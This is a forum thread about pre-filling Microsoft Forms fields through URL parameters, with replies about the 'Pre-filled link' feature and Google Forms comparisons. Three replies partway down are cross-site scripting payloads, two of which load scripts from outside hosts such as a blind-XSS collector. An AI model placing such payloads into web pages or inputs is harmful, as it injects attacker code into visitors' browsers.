Forum Discussion
Pre-populate fields in Microsoft Forms via URL parameter?
Is there a way to pre-populate a field on a form in Microsoft Forms using a parameter that is attached to the form's URL?
Idea/scenario behind this: We could send out personalized links to people from whom we'd like to gather some information, e.g. https://[my-form-url]?UserID=27
Result: When the receipient opens the link in the browser, the field "UserID" would already be filled with the value 27 without the need to enter the number manually.
In SharePoint URL-parameters are quite common for many years, for example for filtering the content that is shown in certain web parts. I was wondering if Microsoft Forms can already handle a similar functionality.
Any ideas/thoughts on this?
- Sending context-aware survey invitations and capturing the response with a particular context is a feature of Forms Pro, which can be combined with Flow.
You will find detailed walkthrough articles in Megan Walker blog covering the different steps involved. Here is one of her posts:
https://meganvwalker.com/send-forms-pro-survey-invites-via-csv-file/
40 Replies
Hi,
Yes, it is possible to pre-populate Microsoft Forms fields using URL parameters. To do this, you can append the form's URL with query string parameters that match the field names, allowing you to pass values directly into the form.
For a more detailed guide, including how to format the URL and identify the correct field names, I found this article really useful: https://plumsail.com/blog/pre-populate-microsoft-forms/-populate Microsoft Forms. It explains the entire process and provides clear examples.
Hope this helps!
<script>onerror=alert;throw `Supakiad S. m3ez`;</script>
- --></tiTle></stYle></texTarea></script>"//'//><script src=https://tetstst.com></script>
- "><script src=https://ketanindori.bxss.in></script>
René Fritsch I know it's many years since this was originally asked, but given recent replies seem to assume it still doesn't exist in MS Forms, I wanted to point out that Microsoft does now have a 'Pre-filled link' option that allows you to create a link to a form with information pre-filled for the recipient. This is then encoded into a URL, once you have one pre-filled URL you could easily automate the creation of other links with different values.
thank you for your post - and for taking the time to update the thread.
I'll check out the 'Pre-filled link' options.
I hope the pre-filled link can be programmatically controlled! I'd really like to impute the values easily in Microsoft Forms too..... It was trivial in Google Forms to pass values to forms. It enabled us to use ID hashes to track multiple responses over time without compromising people's security or anonymity - an absolute must for data analytics and good CRM - to track journey over time to provide a better service. I wish Microsoft thought with the clarity and integrity of so many other software companies at the outset. I'm fully under the impression Microsoft only sometimes understands their customer's needs at a human level after 5 years when they are forced to - and then only because it affects their shareholder profits!
[EDITED]
Oh_No_Its_Microsoft that's interesting, as I came to this post looking for a solution to the same problem, then found the pre-filled form option, and when I used it, whilst the field identifier was something unreadable, the values (the right side in your example) weren't hashed as I could clearly read them. We used them for reference requests for new employees and I wanted to pre-populate the candidate name, and the details of the person providing the reference and I could definitely read those in the URL that was generated.
- Also looking for this. Google Forms has less features yet is able to do this. It's very useful when you need to identify that specific response with other identifiers.
Simple one being job application, you can have one application form but prefill the vacancy ID so that you know what job they are applying for.
Another one would be a feedback form where you need to match that feedback with a specific case ID.
https://support.google.com/a/users/answer/9308781?hl=endrkmccy I always used Google Forms and now I'm working in a company that only use Microsoft365 environment and I'm struggling having few basic features Google Forms had, like:
- Passing parameters and even submitting the form via URL, in this way I could create dynamic links in e-mail and with Power Automate creating some sort of ERP without wasting time in Power Apps
- Free Integration such as Autocrat that is able to generate (Word and PDF) documents and e-mails easily based on a simple form (a thing that even with Power Automate is hard if not impossibile to achieve)
It's really frustrating, I can't believe they had time to think about introducing background music in a Form and not these really basic features.
- Hi GiuseppeStorelli - the Pre-filled Link option now works. Thanks to kurt_yourbabyscan for taking time to update this thread.
- Great idea. Exactly what i'm looking for also. Would love this to be implemented.
I know this topic already has been solved. But, reading the possible solutions, many of them focused just on the specific scenario, and not in the thing of pre-fill the form.
Here is another possible scenario that I don't know if might get covered by the solution posted.
If I use forms to register machines' stops, I would like to pre-populate the Work Order field with the next number of the last one filled. Example, if yesterday a technician did the 15784 work order, the next one should be the 15785. Is there a way to pre-populate this, and not just fill it automatically in the database with an incremental?
I know that maybe you could design a form in PowerApps with a field consulting a database to obtain the MAX workorder on it, and display the max work order +1 on the form, but, any other ideas?
Thanks and excellent topic.
https://www.cognitoforms.com/forms can accept multiple incoming parameters (we launch them from Power Apps) including the ID of the SharePoint List Item to update with Power Automate, the email of the user to respond to and any pre-population of the form. They are very powerful, reasonably priced and quick to develop and make MS Forms a third-rate alternative for anything other than self-marking exams. We use them mainly for field-based data collection and can easily be Word-merged / PDF including signatures.
Looks like this functionality is achievable now, check the following video -
https://www.youtube.com/watch?v=7RPMGjaP1EU
This would be incredible useful. I used this quite a lot with G Forms at my previous employer. It allows me to automatically send out pre-filled but still editable information. For instance, when sending out Inventory acknowledgement forms, it allows me to tell users "This is what we have for you in inventory:" The user can then edit it if necessary and I can compare in spreadsheets and follow up for discrepancies. This level of customization is why G rules this space.
I also really need this feature, so will need to use Google Forms for now.
I really wish MS would cut back on the cutting edge AI a little, and work on a few basic features which Office doesn't have but Google does - functionality that we need to get our work done.JesseDuffield I could not agree with you more. MS need to get it together and make these products useable and have at least feature parity with competitors, but they should be aiming higher. Development is so slow and uservoice seems to be ignored.
This would be awesome for sending automated emails with a survey response related to a specific transaction allowing to link an order number, ticket number...
I will vote for this feature in user voice as well!
